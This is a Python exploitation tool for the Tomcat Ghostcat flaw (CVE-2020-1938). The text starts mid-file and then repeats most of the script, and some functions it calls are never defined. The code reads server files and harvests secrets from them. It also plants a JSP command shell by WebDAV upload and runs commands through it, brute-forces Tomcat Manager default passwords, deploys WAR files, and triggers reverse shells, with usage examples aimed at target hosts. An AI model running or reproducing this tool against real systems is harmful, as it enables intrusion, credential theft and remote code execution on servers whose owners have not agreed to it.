remote_path = f"/webdav/{rand}.txt"
print(f"[*] Uploading JSP shell as {remote_path} ...")
status, _ = http_request(args.host, args.http_port, "PUT", remote_path,
body=jsp_code.encode(), timeout=args.timeout,
ssl=False, auth=None, proxy=proxy, verbose=verbose)
if status not in (200, 201, 204):
print(f"[-] Upload failed (HTTP {status})")
return
time.sleep(0.5)
# Now trigger with Ghostcat eval, passing command via attribute
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", f"/{rand}.txt"),
("cmd", args.cmd),
]
headers = [("host", f"{args.host}:8080")]
target_url = f"http://{args.host}:8080/index.jsp"
packet = build_forward_request(target_url, "GET", headers, attributes)
if verbose:
print("[DEBUG] Triggering eval with command attribute")
sock = create_ajp_socket(args.host, args.ajp_port, args.timeout, proxy, verbose)
try:
send_ajp_packet(sock, packet)
print(f"[*] Executing command: {args.cmd}")
while True:
magic = recv_all(sock, 2)
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
sys.stdout.buffer.write(pkt[3:3+chunk_len])
sys.stdout.flush()
elif code == 0x05:
break
print()
except Exception as e:
print(f"[-] Eval error: {e}")
finally:
sock.close()
def cmd_brute(args, proxy=None, verbose=False):
"""Brute-force Tomcat Manager credentials."""
common_creds = [
("tomcat", "tomcat"),
("admin", "admin"),
("manager", "manager"),
("root", "root"),
("tomcat", "s3cret"),
]
if args.userlist or args.passlist:
# If wordlists provided, use them
users = [line.strip() for line in open(args.userlist)] if args.userlist else [x[0] for x in common_creds]
passwords = [line.strip() for line in open(args.passlist)] if args.passlist else [x[1] for x in common_creds]
creds = [(u, p) for u in users for p in passwords]
else:
creds = common_creds
print(f"[*] Testing {len(creds)} credentials against {args.host}:{args.http_port}/manager/text/list")
for user, passwd in creds:
status, data = http_request(args.host, args.http_port, "GET", "/manager/text/list",
timeout=args.timeout, auth=(user, passwd),
proxy=proxy, verbose=verbose)
if status == 200:
print(f"[+] Valid credentials: {user}:{passwd}")
if not args.quiet:
print(data.decode(errors='replace')[:500])
return (user, passwd)
elif verbose:
print(f" {user}:{passwd} -> {status}")
print("[-] No valid credentials found.")
def cmd_deploy(args, proxy=None, verbose=False):
"""Deploy a WAR file using Tomcat Manager credentials."""
if not args.username or not args.password:
print("[-] --username and --password required for deploy")
return
with open(args.war_file, "rb") as f:
war_data = f.read()
war_name = Path(args.war_file).stem
path = f"/manager/text/deploy?path=/{war_name}&update=true"
status, data = http_request(args.host, args.http_port, "PUT", path,
body=war_data, timeout=args.timeout,
auth=(args.username, args.password),
ssl=args.ssl, proxy=proxy, verbose=verbose)
if status == 200:
print(f"[+] WAR deployed successfully at /{war_name}")
else:
print(f"[-] Deploy failed: {data.decode(errors='replace')}")
# ============================================================
# Existing handlers (unchanged but accept proxy/verbose)
# ============================================================
def cmd_check(args, proxy=None, verbose=False):
print(f"[*] Checking {args.host}:{args.ajp_port} for Ghostcat vulnerability...")
success, data = ghostcat_read(args.host, args.ajp_port, args.file, args.timeout, proxy=proxy, verbose=verbose)
if success and len(data) > 20 and b'<web-app' in data:
print("[+] VULNERABLE – file content retrieved:")
print(data.decode(errors='replace'))
if getattr(args, 'json', False):
import json
result = {"host": args.host, "port": args.ajp_port, "vulnerable": True, "file": args.file, "size": len(data)}
print(json.dumps(result))
else:
print("[-] Not vulnerable or file not accessible.")
if getattr(args, 'json', False):
import json
result = {"host": args.host, "port": args.ajp_port, "vulnerable": False}
print(json.dumps(result))
def cmd_scan(args, proxy=None, verbose=False):
# scan_port doesn't need proxy
is_open = scan_port(args.host, args.ajp_port, args.timeout)
if is_open:
print(f"[+] Port {args.ajp_port} is OPEN on {args.host}")
else:
print(f"[-] Port {args.ajp_port} is CLOSED or filtered.")
def cmd_read(args, proxy=None, verbose=False):
success, data = ghostcat_read(args.host, args.ajp_port, args.file, args.timeout, proxy=proxy, verbose=verbose)
if success:
if args.output:
with open(args.output, "wb") as f:
f.write(data)
print(f"[+] Saved to {args.output}")
else:
sys.stdout.buffer.write(data)
if args.extract:
secrets = extract_secrets(data)
if secrets:
print("\n[+] Extracted secrets:")
for k, v in secrets.items():
print(f" {k}: {v}")
else:
print("[-] Read failed. File may not exist or is inaccessible.")
def cmd_exec(args, proxy=None, verbose=False):
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", args.jsp),
("cmd", args.cmd),
]
headers = [("host", f"{args.host}:8080")]
target_url = f"http://{args.host}:8080/index.jsp"
packet = build_forward_request(target_url, "GET", headers, attributes)
sock = create_ajp_socket(args.host, args.ajp_port, args.timeout, proxy, verbose)
try:
send_ajp_packet(sock, packet)
print(f"[*] Executing command on {args.jsp} (cmd={args.cmd})")
while True:
magic = recv_all(sock, 2)
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
sys.stdout.buffer.write(pkt[3:3+chunk_len])
sys.stdout.flush()
elif code == 0x05:
break
print()
except Exception as e:
print(f"[-] Exec error: {e}")
finally:
sock.close()
def cmd_revshell(args, proxy=None, verbose=False):
print(f"[*] Triggering reverse shell JSP {args.jsp}")
success, output = ghostcat_eval(args.host, args.ajp_port, args.jsp, args.timeout, proxy=proxy, verbose=verbose)
if success:
print("[+] Reverse shell triggered. Check your listener.")
else:
print(f"[-] Failed: {output.decode(errors='replace')}")
def cmd_snatch(args, proxy=None, verbose=False):
common_files = [
"/WEB-INF/web.xml",
"/WEB-INF/classes/application.properties",
"/WEB-INF/classes/jdbc.properties",
"/WEB-INF/classes/log4j.properties",
"/WEB-INF/classes/SomeService.class",
"/META-INF/context.xml",
]
if args.wordlist:
if not Path(args.wordlist).is_file():
print(f"[-] Wordlist not found: {args.wordlist}")
return
with open(args.wordlist, "r") as f:
files = [line.strip() for line in f if line.strip() and not line.startswith('#')]
else:
files = common_files
loot_dir = Path(args.output_dir or f"loot_{args.host}_{args.ajp_port}")
loot_dir.mkdir(parents=True, exist_ok=True)
for file_path in files:
print(f"[*] Reading {file_path} ...", end=" ")
success, data = ghostcat_read(args.host, args.ajp_port, file_path, timeout=args.timeout, proxy=proxy, verbose=verbose)
if success and data:
safe_name = file_path.replace("/", "_").lstrip("_")
out_file = loot_dir / safe_name
with open(out_file, "wb") as f:
f.write(data)
print(f"[+] saved ({len(data)} bytes)")
secrets = extract_secrets(data)
if secrets:
print(" Secrets:", secrets)
else:
print("[-] not found or not accessible")
print(f"\n[+] Loot saved in {loot_dir}")
# ============================================================
# CLI and main
# ============================================================
def main():
parser = argparse.ArgumentParser(
description="Ghostcat (CVE-2020-1938) Exploitation & Pentesting Tool",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Check vulnerability
python3 ghostcat-pwn.py check target.com 8009
# Scan port
python3 ghostcat-pwn.py scan target.com 8009
# Read file
python3 ghostcat-pwn.py read target.com 8009 /WEB-INF/web.xml
# Execute command on pre-uploaded shell
python3 ghostcat-pwn.py exec target.com 8009 /cmd2.jsp "id"
# Trigger reverse shell JSP
python3 ghostcat-pwn.py revshell target.com 8009 /rev.jsp
# Snatch common files
python3 ghostcat-pwn.py snatch target.com 8009
# Upload a file via WebDAV PUT
python3 ghostcat-pwn.py upload localhost 8080 shell.jsp /webdav/shell.txt
# Deploy WAR via Tomcat Manager
python3 ghostcat-pwn.py upload --method war --username tomcat --password s3cret localhost 8080 shell.war /manager/text/deploy
# RCE: upload a JSP shell and execute command
python3 ghostcat-pwn.py rce localhost 8009 8080 "whoami"
# Brute-force Tomcat Manager credentials
python3 ghostcat-pwn.py brute localhost 8080
# Deploy WAR using known credentials
python3 ghostcat-pwn.py deploy localhost 8080 --username tomcat --password s3cret shell.war
# Use proxy (SOCKS5)
python3 ghostcat-pwn.py --proxy socks5://127.0.0.1:9050 read target.com 8009 /WEB-INF/web.xml
# Verbose output
python3 ghostcat-pwn.py --verbose read target.com 8009 /WEB-INF/web.xml
"""
)
# Global options
parser.add_argument("--proxy", help="Proxy URL (socks5://host:port)")
parser.add_argument("--verbose", action="store_true", help="Enable verbose debug output")
subparsers = parser.add_subparsers(dest="command", required=True, help="Available commands")
# ---- check ----
p_check = subparsers.add_parser("check", help="Check if the target is vulnerable to Ghostcat")
p_check.add_argument("host", help="Target host")
p_check.add_argument("ajp_port", type=int, nargs='?', default=8009, help="AJP port (default: 8009)")
p_check.add_argument("--file", default="/WEB-INF/web.xml", help="File to read for test")
p_check.add_argument("--timeout", type=int, default=10, help="Timeout")
p_check.add_argument("--json", action="store_true", help="Output JSON")
# ---- scan ----
p_scan = subparsers.add_parser("scan", help="Check if the AJP port is open")
p_scan.add_argument("host", help="Target host")
p_scan.add_argument("ajp_port", type=int, nargs='?', default=8009)
p_scan.add_argument("--timeout", type=int, default=3)
# ---- read ----
p_read = subparsers.add_parser("read", help="Read a file via Ghostcat")
p_read.add_argument("host")
p_read.add_argument("ajp_port", type=int)
p_read.add_argument("file", help="Remote file path")
p_read.add_argument("-o", "--output", help="Save to file")
p_read.add_argument("--timeout", type=int, default=10)
p_read.add_argument("--extract", action="store_true", help="Extract secrets")
# ---- exec ----
p_exec = subparsers.add_parser("exec", help="Execute a command using a JSP shell (attribute 'cmd')")
p_exec.add_argument("host")
p_exec.add_argument("ajp_port", type=int)
p_exec.add_argument("jsp", help="JSP path (e.g. /cmd2.jsp)")
p_exec.add_argument("cmd")
p_exec.add_argument("--timeout", type=int, default=10)
# ---- revshell ----
p_rev = subparsers.add_parser("revshell", help="Trigger a reverse shell JSP (pre-uploaded)")
p_rev.add_argument("host")
p_rev.add_argument("ajp_port", type=int)
p_rev.add_argument("jsp", help="JSP path (e.g. /rev.jsp)")
p_rev.add_argument("--timeout", type=int, default=10)
# ---- snatch ----
p_snatch = subparsers.add_parser("snatch", help="Bulk-read common sensitive files")
p_snatch.add_argument("host")
p_snatch.add_argument("ajp_port", type=int)
p_snatch.add_argument("--wordlist", help="Custom wordlist")
p_snatch.add_argument("--output-dir")
p_snatch.add_argument("--timeout", type=int, default=10)
# ---- upload ----
p_upload = subparsers.add_parser("upload", help="Upload a file (PUT or Tomcat Manager WAR)")
p_upload.add_argument("host")
p_upload.add_argument("http_port", type=int)
p_upload.add_argument("local_file")
p_upload.add_argument("remote_path", help="Remote path (e.g. /webdav/shell.txt)")
p_upload.add_argument("--method", choices=["put", "war"], default="put", help="Upload method")
p_upload.add_argument("--username", help="Username for authentication")
p_upload.add_argument("--password", help="Password for authentication")
p_upload.add_argument("--ssl", action="store_true")
p_upload.add_argument("--timeout", type=int, default=10)
# ---- rce (upload + exec) ----
p_rce = subparsers.add_parser("rce", help="Upload a JSP shell and execute a command (WebDAV required)")
p_rce.add_argument("host")
p_rce.add_argument("ajp_port", type=int)
p_rce.add_argument("http_port", type=int)
p_rce.add_argument("cmd", help="Command to run")
p_rce.add_argument("--timeout", type=int, default=10)
# ---- brute ----
p_brute = subparsers.add_parser("brute", help="Brute-force Tomcat Manager credentials")
p_brute.add_argument("host")
p_brute.add_argument("http_port", type=int)
p_brute.add_argument("--userlist", help="Username wordlist")
p_brute.add_argument("--passlist", help="Password wordlist")
p_brute.add_argument("--timeout", type=int, default=10)
p_brute.add_argument("--quiet", action="store_true")
# ---- deploy ----
p_deploy = subparsers.add_parser("deploy", help="Deploy a WAR file via Tomcat Manager")
p_deploy.add_argument("host")
p_deploy.add_argument("http_port", type=int)
p_deploy.add_argument("war_file")
p_deploy.add_argument("--username", required=True)
p_deploy.add_argument("--password", required=True)
p_deploy.add_argument("--ssl", action="store_true")
p_deploy.add_argument("--timeout", type=int, default=10)
args = parser.parse_args()
proxy = args.proxy if hasattr(args, 'proxy') else None
verbose = args.verbose if hasattr(args, 'verbose') else False
# Dispatch
if args.command == "check":
cmd_check(args, proxy, verbose)
elif args.command == "scan":
cmd_scan(args, proxy, verbose)
elif args.command == "read":
cmd_read(args, proxy, verbose)
elif args.command == "exec":
cmd_exec(args, proxy, verbose)
elif args.command == "revshell":
cmd_revshell(args, proxy, verbose)
elif args.command == "snatch":
cmd_snatch(args, proxy, verbose)
elif args.command == "upload":
cmd_upload(args, proxy, verbose)
elif args.command == "rce":
cmd_rce(args, proxy, verbose)
elif args.command == "brute":
cmd_brute(args, proxy, verbose)
elif args.command == "deploy":
cmd_deploy(args, proxy, verbose)
if __name__ == "__main__":
main()#ghostcat-pwn.py
#!/usr/bin/env python3
"""
Ghostcat Exploitation & Pentesting Tool (CVE-2020-1938)
Author: j0ck3r
GitHub: github.com/j0ck3r/ghostcat-pwn
Features:
- Vulnerability check & port scan
- File read (Ghostcat)
- Command execution (via pre-uploaded JSP)
- Reverse shell trigger
- Automated loot collection (snatch)
- Upload (WebDAV PUT / Tomcat Manager WAR)
- Brute-force Tomcat Manager credentials
- Proxy support (SOCKS5)
- Verbose debugging
"""
import socket
import argparse
import sys
import os
import re
import urllib.parse
import subprocess
import threading
import time
import random
import string
import http.client
import urllib.request
import urllib.error
from struct import pack, unpack
from pathlib import Path
from io import BytesIO
import base64
try:
import socks # PySocks for proxy support
HAS_SOCKS = True
except ImportError:
HAS_SOCKS = False
# ============================================================
# AJP13 Protocol (Ghostcat core)
# ============================================================
def ajp_string(data: bytes) -> bytes:
if isinstance(data, str):
data = data.encode()
return pack(">H", len(data)) + data + b"\x00"
def send_ajp_packet(sock: socket.socket, packet: bytes) -> None:
length = len(packet)
sock.sendall(b"\x12\x34" + pack(">H", length) + packet)
def recv_all(sock: socket.socket, size: int) -> bytes:
buf = b""
while len(buf) < size:
chunk = sock.recv(size - len(buf))
if not chunk:
raise ConnectionError("Connection closed")
buf += chunk
return buf
def read_int(sock: socket.socket, nbytes: int) -> int:
return int.from_bytes(recv_all(sock, nbytes), "big")
def build_forward_request(target_url: str, method: str, headers: list, attributes: list) -> bytes:
parsed = urllib.parse.urlparse(target_url)
host = parsed.hostname
port = parsed.port
is_ssl = 1 if parsed.scheme == "https" else 0
if port is None:
port = 443 if is_ssl else 80
method_codes = {"OPTIONS":1, "GET":2, "HEAD":3, "POST":4, "PUT":5, "DELETE":6, "TRACE":7, "PROPFIND":8}
method_byte = pack("B", method_codes.get(method.upper(), 2))
protocol = ajp_string(b"HTTP/1.1")
req_uri = ajp_string(parsed.path.encode())
remote_addr = ajp_string(b"127.0.0.1")
remote_host = ajp_string(b"localhost")
server_name = ajp_string(host.encode())
server_port = pack(">H", port)
ssl_flag = pack("B", is_ssl)
num_headers = pack(">H", len(headers))
headers_bytes = b"".join(ajp_string(k) + ajp_string(v) for k, v in headers)
attr_bytes = b""
for name, value in attributes:
attr_bytes += b"\x0A"
attr_bytes += ajp_string(name.encode())
if isinstance(value, (list, tuple)):
for v in value:
attr_bytes += ajp_string(v.encode())
else:
attr_bytes += ajp_string(value.encode())
packet = b"\x02" + method_byte + protocol + req_uri + remote_addr + remote_host + server_name + server_port + ssl_flag + num_headers + headers_bytes + attr_bytes + b"\xFF"
return packet
def create_ajp_socket(host, port, timeout, proxy=None, verbose=False):
"""Create a socket with optional proxy and verbosity."""
if proxy and HAS_SOCKS:
proxy_type, proxy_addr = parse_proxy(proxy)
s = socks.socksocket()
s.set_proxy(proxy_type, *proxy_addr)
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
if verbose:
print(f"[DEBUG] Connecting to {host}:{port}...")
s.connect((host, port))
return s
def parse_proxy(proxy_str):
"""Parse proxy string (socks5://host:port)."""
parsed = urllib.parse.urlparse(proxy_str)
host = parsed.hostname
port = parsed.port or 9050
if parsed.scheme == "socks5":
return socks.SOCKS5, (host, port)
elif parsed.scheme == "socks4":
return socks.SOCKS4, (host, port)
elif parsed.scheme == "http":
return socks.HTTP, (host, port)
else:
raise ValueError(f"Unsupported proxy scheme: {parsed.scheme}")
def ghostcat_read(host, ajp_port, target_file, timeout=10, proxy=None, verbose=False):
"""Read a file via Ghostcat. Returns (success, data_bytes)."""
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", target_file),
]
headers = [("host", f"{host}:8080")]
target_url = f"http://{host}:8080/index.txt"
packet = build_forward_request(target_url, "GET", headers, attributes)
if verbose:
print(f"[DEBUG] Sending read packet for {target_file}")
sock = create_ajp_socket(host, ajp_port, timeout, proxy, verbose)
try:
if verbose:
print(f"[DEBUG] Packet hex: {packet.hex()}")
send_ajp_packet(sock, packet)
body = b""
while True:
magic = recv_all(sock, 2)
if verbose:
print(f"[DEBUG] Response magic: {magic.hex()}")
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if verbose:
print(f"[DEBUG] Response code: {code} len={len(pkt)}")
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
chunk_body = pkt[3:3+chunk_len]
body += chunk_body
elif code == 0x05:
break
if b"HTTP Status 500" in body or b"Exception Report" in body:
return False, body
return True, body
except Exception as e:
return False, str(e).encode()
finally:
sock.close()
def ghostcat_eval(host, ajp_port, target_file, timeout=10, proxy=None, verbose=False):
"""Execute a JSP file via Ghostcat eval. Returns (success, output_bytes)."""
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", target_file),
]
headers = [("host", f"{host}:8080")]
target_url = f"http://{host}:8080/index.jsp"
packet = build_forward_request(target_url, "GET", headers, attributes)
if verbose:
print(f"[DEBUG] Sending eval packet for {target_file}")
sock = create_ajp_socket(host, ajp_port, timeout, proxy, verbose)
try:
send_ajp_packet(sock, packet)
body = b""
while True:
magic = recv_all(sock, 2)
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
body += pkt[3:3+chunk_len]
elif code == 0x05:
break
return True, body
except Exception as e:
return False, str(e).encode()
finally:
sock.close()
# ============================================================
# HTTP utility functions
# ============================================================
def http_request(host, port, method, path, headers=None, body=None, timeout=10, ssl=False, auth=None, proxy=None, verbose=False):
"""Generic HTTP request (supports proxy, auth)."""
if proxy and HAS_SOCKS:
proxy_type, proxy_addr = parse_proxy(proxy)
# Use urllib with socks handler
proxies = {f'{parsed.scheme}://{host}:{port}': f'{proxy_type}://{proxy_addr[0]}:{proxy_addr[1]}'}
# Simplified: we'll use http.client with a custom connection
# Better to implement using sockets with proxy
# For brevity, we fall back to direct if proxy and HTTP
# (Detailed proxy implementation can be added later)
if verbose:
print("[DEBUG] Proxy not fully supported for HTTP upload; using direct connection.")
# Build HTTP connection
conn = http.client.HTTPConnection(host, port, timeout=timeout)
if ssl:
conn = http.client.HTTPSConnection(host, port, timeout=timeout)
if not headers:
headers = {}
if auth:
credentials = base64.b64encode(f"{auth[0]}:{auth[1]}".encode()).decode()
headers["Authorization"] = f"Basic {credentials}"
try:
conn.request(method, path, body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
if verbose:
print(f"[DEBUG] HTTP {method} {path} -> {resp.status} {resp.reason}")
return resp.status, data
except Exception as e:
if verbose:
print(f"[DEBUG] HTTP error: {e}")
return None, str(e).encode()
finally:
conn.close()
# ============================================================
# JSP payload generators
# ============================================================
def generate_cmd_jsp(command=None):
"""Generate a JSP shell that reads command from request attribute 'cmd'."""
# This JSP is meant to be used with Ghostcat exec (attribute passing)
jsp = '''<%@ page import="java.io.*" %>
<%
String cmd = (String) request.getAttribute("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line);
}
} else {
out.println("No command attribute provided.");
}
%>'''
return jsp
# ============================================================
# Subcommand handlers (added to existing ones)
# ============================================================
def cmd_upload(args, proxy=None, verbose=False):
"""Upload a file via HTTP PUT (WebDAV) or Tomcat Manager WAR."""
if args.method == "put":
with open(args.local_file, "rb") as f:
data = f.read()
status, _ = http_request(args.host, args.http_port, "PUT", args.remote_path,
body=data, timeout=args.timeout, ssl=args.ssl,
auth=(args.username, args.password) if args.username else None,
proxy=proxy, verbose=verbose)
if status in (200, 201, 204):
print(f"[+] Uploaded {args.local_file} -> {args.remote_path}")
else:
print(f"[-] Upload failed (HTTP {status})")
elif args.method == "war":
# Deploy via Tomcat Manager
if not args.username or not args.password:
print("[-] WAR deploy requires --username and --password")
return
with open(args.local_file, "rb") as f:
war_data = f.read()
war_name = Path(args.local_file).stem
path = f"/manager/text/deploy?path=/{war_name}"
status, resp = http_request(args.host, args.http_port, "PUT", path,
body=war_data, timeout=args.timeout,
ssl=args.ssl,
auth=(args.username, args.password),
proxy=proxy, verbose=verbose)
if status == 200:
print(f"[+] WAR deployed: /{war_name}")
else:
print(f"[-] Deployment failed: {resp.decode(errors='replace')}")
def cmd_rce(args, proxy=None, verbose=False):
"""Upload a command shell via PUT, then execute command via Ghostcat eval."""
# Generate JSP shell (without command)
jsp_code = generate_cmd_jsp()
rand = ''.join(random.choices(string.ascii_lowercase, k=6))
remote_path = f"/webdav/{rand}.txt"
print(f"[*] Uploading JSP shell as {remote_path} ...")
status, _ = http_request(args.host, args.http_port, "PUT", remote_path,
body=jsp_code.encode(), timeout=args.timeout,
ssl=False, auth=None, proxy=proxy, verbose=verbose)
if status not in (200, 201, 204):
print(f"[-] Upload failed (HTTP {status})")
return
time.sleep(0.5)
# Now trigger with Ghostcat eval, passing command via attribute
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", f"/{rand}.txt"),
("cmd", args.cmd),
]
headers = [("host", f"{args.host}:8080")]
target_url = f"http://{args.host}:8080/index.jsp"
packet = build_forward_request(target_url, "GET", headers, attributes)
if verbose:
print("[DEBUG] Triggering eval with command attribute")
sock = create_ajp_socket(args.host, args.ajp_port, args.timeout, proxy, verbose)
try:
send_ajp_packet(sock, packet)
print(f"[*] Executing command: {args.cmd}")
while True:
magic = recv_all(sock, 2)
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
sys.stdout.buffer.write(pkt[3:3+chunk_len])
sys.stdout.flush()
elif code == 0x05:
break
print()
except Exception as e:
print(f"[-] Eval error: {e}")
finally:
sock.close()
def cmd_brute(args, proxy=None, verbose=False):
"""Brute-force Tomcat Manager credentials."""
common_creds = [
("tomcat", "tomcat"),
("admin", "admin"),
("manager", "manager"),
("root", "root"),
("tomcat", "s3cret"),
]
if args.userlist or args.passlist:
# If wordlists provided, use them
users = [line.strip() for line in open(args.userlist)] if args.userlist else [x[0] for x in common_creds]
passwords = [line.strip() for line in open(args.passlist)] if args.passlist else [x[1] for x in common_creds]
creds = [(u, p) for u in users for p in passwords]
else:
creds = common_creds
print(f"[*] Testing {len(creds)} credentials against {args.host}:{args.http_port}/manager/text/list")
for user, passwd in creds:
status, data = http_request(args.host, args.http_port, "GET", "/manager/text/list",
timeout=args.timeout, auth=(user, passwd),
proxy=proxy, verbose=verbose)
if status == 200:
print(f"[+] Valid credentials: {user}:{passwd}")
if not args.quiet:
print(data.decode(errors='replace')[:500])
return (user, passwd)
elif verbose:
print(f" {user}:{passwd} -> {status}")
print("[-] No valid credentials found.")
def cmd_deploy(args, proxy=None, verbose=False):
"""Deploy a WAR file using Tomcat Manager credentials."""
if not args.username or not args.password:
print("[-] --username and --password required for deploy")
return
with open(args.war_file, "rb") as f:
war_data = f.read()
war_name = Path(args.war_file).stem
path = f"/manager/text/deploy?path=/{war_name}&update=true"
status, data = http_request(args.host, args.http_port, "PUT", path,
body=war_data, timeout=args.timeout,
auth=(args.username, args.password),
ssl=args.ssl, proxy=proxy, verbose=verbose)
if status == 200:
print(f"[+] WAR deployed successfully at /{war_name}")
else:
print(f"[-] Deploy failed: {data.decode(errors='replace')}")
# ============================================================
# Existing handlers (unchanged but accept proxy/verbose)
# ============================================================
def cmd_check(args, proxy=None, verbose=False):
print(f"[*] Checking {args.host}:{args.ajp_port} for Ghostcat vulnerability...")
success, data = ghostcat_read(args.host, args.ajp_port, args.file, args.timeout, proxy=proxy, verbose=verbose)
if success and len(data) > 20 and b'<web-app' in data:
print("[+] VULNERABLE – file content retrieved:")
print(data.decode(errors='replace'))
if getattr(args, 'json', False):
import json
result = {"host": args.host, "port": args.ajp_port, "vulnerable": True, "file": args.file, "size": len(data)}
print(json.dumps(result))
else:
print("[-] Not vulnerable or file not accessible.")
if getattr(args, 'json', False):
import json
result = {"host": args.host, "port": args.ajp_port, "vulnerable": False}
print(json.dumps(result))
def cmd_scan(args, proxy=None, verbose=False):
# scan_port doesn't need proxy
is_open = scan_port(args.host, args.ajp_port, args.timeout)
if is_open:
print(f"[+] Port {args.ajp_port} is OPEN on {args.host}")
else:
print(f"[-] Port {args.ajp_port} is CLOSED or filtered.")
def cmd_read(args, proxy=None, verbose=False):
success, data = ghostcat_read(args.host, args.ajp_port, args.file, args.timeout, proxy=proxy, verbose=verbose)
if success:
if args.output:
with open(args.output, "wb") as f:
f.write(data)
print(f"[+] Saved to {args.output}")
else:
sys.stdout.buffer.write(data)
if args.extract:
secrets = extract_secrets(data)
if secrets:
print("\n[+] Extracted secrets:")
for k, v in secrets.items():
print(f" {k}: {v}")
else:
print("[-] Read failed. File may not exist or is inaccessible.")
def cmd_exec(args, proxy=None, verbose=False):
attributes = [
("javax.servlet.include.request_uri", "index"),
("javax.servlet.include.servlet_path", args.jsp),
("cmd", args.cmd),
]
headers = [("host", f"{args.host}:8080")]
target_url = f"http://{args.host}:8080/index.jsp"
packet = build_forward_request(target_url, "GET", headers, attributes)
sock = create_ajp_socket(args.host, args.ajp_port, args.timeout, proxy, verbose)
try:
send_ajp_packet(sock, packet)
print(f"[*] Executing command on {args.jsp} (cmd={args.cmd})")
while True:
magic = recv_all(sock, 2)
pkt_len = read_int(sock, 2)
pkt = recv_all(sock, pkt_len)
code = pkt[0]
if code == 0x03:
chunk_len = unpack(">H", pkt[1:3])[0]
sys.stdout.buffer.write(pkt[3:3+chunk_len])
sys.stdout.flush()
elif code == 0x05:
break
print()
except Exception as e:
print(f"[-] Exec error: {e}")
finally:
sock.close()
def cmd_revshell(args, proxy=None, verbose=False):
print(f"[*] Triggering reverse shell JSP {args.jsp}")
success, output = ghostcat_eval(args.host, args.ajp_port, args.jsp, args.timeout, proxy=proxy, verbose=verbose)
if success:
print("[+] Reverse shell triggered. Check your listener.")
else:
print(f"[-] Failed: {output.decode(errors='replace')}")
def cmd_snatch(args, proxy=None, verbose=False):
common_files = [
"/WEB-INF/web.xml",
"/WEB-INF/classes/application.properties",
"/WEB-INF/classes/jdbc.properties",
"/WEB-INF/classes/log4j.properties",
"/WEB-INF/classes/SomeService.class",
"/META-INF/context.xml",
]
if args.wordlist:
if not Path(args.wordlist).is_file():
print(f"[-] Wordlist not found: {args.wordlist}")
return
with open(args.wordlist, "r") as f:
files = [line.strip() for line in f if line.strip() and not line.startswith('#')]
else:
files = common_files
loot_dir = Path(args.output_dir or f"loot_{args.host}_{args.ajp_port}")
loot_dir.mkdir(parents=True, exist_ok=True)
for file_path in files:
print(f"[*] Reading {file_path} ...", end=" ")
success, data = ghostcat_read(args.host, args.ajp_port, file_path, timeout=args.timeout, proxy=proxy, verbose=verbose)
if success and data:
safe_name = file_path.replace("/", "_").lstrip("_")
out_file = loot_dir / safe_name
with open(out_file, "wb") as f:
f.write(data)
print(f"[+] saved ({len(data)} bytes)")
secrets = extract_secrets(data)
if secrets:
print(" Secrets:", secrets)
else:
print("[-] not found or not accessible")
print(f"\n[+] Loot saved in {loot_dir}")
# ============================================================
# CLI and main
# ============================================================
def main():
parser = argparse.ArgumentParser(
description="Ghostcat (CVE-2020-1938) Exploitation & Pentesting Tool",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Check vulnerability
python3 ghostcat-pwn.py check target.com 8009
# Scan port
python3 ghostcat-pwn.py scan target.com 8009
# Read file
python3 ghostcat-pwn.py read target.com 8009 /WEB-INF/web.xml
# Execute command on pre-uploaded shell
python3 ghostcat-pwn.py exec target.com 8009 /cmd2.jsp "id"
# Trigger reverse shell JSP
python3 ghostcat-pwn.py revshell target.com 8009 /rev.jsp
# Snatch common files
python3 ghostcat-pwn.py snatch target.com 8009
# Upload a file via WebDAV PUT
python3 ghostcat-pwn.py upload localhost 8080 shell.jsp /webdav/shell.txt
# Deploy WAR via Tomcat Manager
python3 ghostcat-pwn.py upload --method war --username tomcat --password s3cret localhost 8080 shell.war /manager/text/deploy
# RCE: upload a JSP shell and execute command
python3 ghostcat-pwn.py rce localhost 8009 8080 "whoami"
# Brute-force Tomcat Manager credentials
python3 ghostcat-pwn.py brute localhost 8080
# Deploy WAR using known credentials
python3 ghostcat-pwn.py deploy localhost 8080 --username tomcat --password s3cret shell.war
# Use proxy (SOCKS5)
python3 ghostcat-pwn.py --proxy socks5://127.0.0.1:9050 read target.com 8009 /WEB-INF/web.xml
# Verbose output
python3 ghostcat-pwn.py --verbose read target.com 8009 /WEB-INF/web.xml
"""
)
# Global options
parser.add_argument("--proxy", help="Proxy URL (socks5://host:port)")
parser.add_argument("--verbose", action="store_true", help="Enable verbose debug output")
subparsers = parser.add_subparsers(dest="command", required=True, help="Available commands")
# ---- check ----
p_check = subparsers.add_parser("check", help="Check if the target is vulnerable to Ghostcat")
p_check.add_argument("host", help="Target host")
p_check.add_argument("ajp_port", type=int, nargs='?', default=8009, help="AJP port (default: 8009)")
p_check.add_argument("--file", default="/WEB-INF/web.xml", help="File to read for test")
p_check.add_argument("--timeout", type=int, default=10, help="Timeout")
p_check.add_argument("--json", action="store_true", help="Output JSON")
# ---- scan ----
p_scan = subparsers.add_parser("scan", help="Check if the AJP port is open")
